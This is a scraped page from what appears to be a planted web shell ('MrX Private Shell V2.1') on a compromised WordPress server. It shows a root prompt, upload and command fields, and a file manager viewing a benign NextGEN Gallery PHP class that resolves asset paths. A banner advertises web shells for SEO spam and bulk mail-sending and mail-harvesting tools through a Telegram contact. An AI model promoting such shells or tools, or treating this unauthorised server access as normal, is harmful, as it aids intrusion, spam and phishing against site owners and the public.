__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.120: ~ $
<?php

namespace Imagely\NGG\Display;

use Imagely\NGG\DataMapper\WPModel;
use Imagely\NGG\Settings\Settings;

/**
 * Static POPE Assets management class for NextGEN Gallery.
 *
 * Handles static asset path resolution for legacy POPE modules.
 */
class StaticPopeAssets extends StaticAssets {

	/**
	 * Computes the absolute path for a POPE static asset file.
	 *
	 * @param string       $filename         The filename to get path for.
	 * @param false|string $legacy_module_id Legacy module ID for compatibility.
	 * @return string The computed absolute path to the static asset.
	 */
	public static function get_computed_abspath( $filename, $legacy_module_id = false ) {
		if ( strpos( $filename, '#' ) !== false ) {
			$parts = explode( '#', $filename );
			if ( \count( $parts ) === 2 ) {
				$filename         = $parts[1];
				$legacy_module_id = $parts[0];
			} else {
				$filename = $parts[0];
			}
		} elseif ( strpos( $legacy_module_id, '#' ) !== false ) {
			$parts = explode( '#', $legacy_module_id );
			if ( \count( $parts ) === 2 ) {
				$legacy_module_id = $parts[0];
			}
		}

		$filename = self::trim_preceding_slash( $filename );

		$static_dir = self::trim_preceding_slash( Settings::get_instance()->get( 'mvc_static_dir', '/static' ) );

		$override_dir = \wp_normalize_path( self::get_override_dir( $legacy_module_id ) );
		$override     = \path_join( $override_dir, $filename );
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		if ( @\stream_resolve_include_path( $override ) ) {
			return $override;
		}

		// Find the POPE modules root.
		$module_dir = \C_NextGEN_Bootstrap::get_legacy_module_directory( $legacy_module_id );
		if ( ! empty( $module_dir ) ) { // To avoid PHP deprecated warnings.
			$module_dir = \wp_normalize_path( $module_dir );
		}

		// In case NextGen is in a symlink we make $mod_dir relative to the NGG parent root and then rebuild it
		// using WP_PLUGIN_DIR; without this NGG-in-symlink creates URL that reference the file abspath.
		if ( \is_link( \path_join( WP_PLUGIN_DIR, \basename( NGG_PLUGIN_DIR ) ) ) ) {
			$module_dir = \ltrim( \str_replace( \dirname( NGG_PLUGIN_DIR ), '', $module_dir ), DIRECTORY_SEPARATOR );
			$module_dir = \path_join( WP_PLUGIN_DIR, $module_dir );
		}

		if ( ! empty( $module_dir ) ) { // To avoid PHP deprecated warnings.
			$retval = \path_join(
				\path_join( $module_dir, $static_dir ),
				$filename
			);
		} else {
			$retval = '';
		}

		if ( ! is_null( $retval ) ) {
			// Adjust for windows paths.
			return \wp_normalize_path( $retval );
		} else {
			return $retval;
		}
	}

	/**
	 * Gets the override directory for a module.
	 *
	 * @param string|null $module_id The module ID to get override directory for.
	 * @return string The override directory path.
	 */
	public static function get_override_dir( $module_id = null ) {
		$root = \trailingslashit( \path_join( WP_CONTENT_DIR, 'ngg' ) );
		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		if ( ! @\file_exists( $root ) && \wp_is_writable( \trailingslashit( WP_CONTENT_DIR ) ) ) {
			\wp_mkdir_p( $root );
		}

		$modules = \trailingslashit( \path_join( $root, 'modules' ) );

		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
		if ( ! @\file_exists( $modules ) && \wp_is_writable( $root ) ) {
			\wp_mkdir_p( $modules );
		}

		if ( $module_id ) {
			$module_dir = \trailingslashit( \path_join( $modules, $module_id ) );
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			if ( ! @\file_exists( $module_dir ) && \wp_is_writable( $modules ) ) {
				\wp_mkdir_p( $module_dir );
			}

			$static_dir = \trailingslashit( \path_join( $module_dir, 'static' ) );
			// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
			if ( ! @\file_exists( $static_dir ) && \wp_is_writable( $module_dir ) ) {
				\wp_mkdir_p( $static_dir );
			}

			return $static_dir;
		}

		return $modules;
	}

	/**
	 * Trims preceding slashes from a string.
	 *
	 * @param string $str The string to trim.
	 * @return string The trimmed string.
	 */
	public static function trim_preceding_slash( $str ) {
		return \preg_replace( '#^/{1,2}#', '', $str, 1 );
	}
}

Filemanager

Name Type Size Permission Actions
DisplayManager.php File 29.96 KB 0644
GalleryDetector.php File 7.84 KB 0644
I18N.php File 16.08 KB 0644
LightboxManager.php File 15.52 KB 0644
ResourceManager.php File 11.3 KB 0644
Shortcodes.php File 12.76 KB 0644
StaticAssets.php File 2.93 KB 0644
StaticPopeAssets.php File 4.04 KB 0644
View.php File 13.84 KB 0644
ViewElement.php File 3.32 KB 0644
Filemanager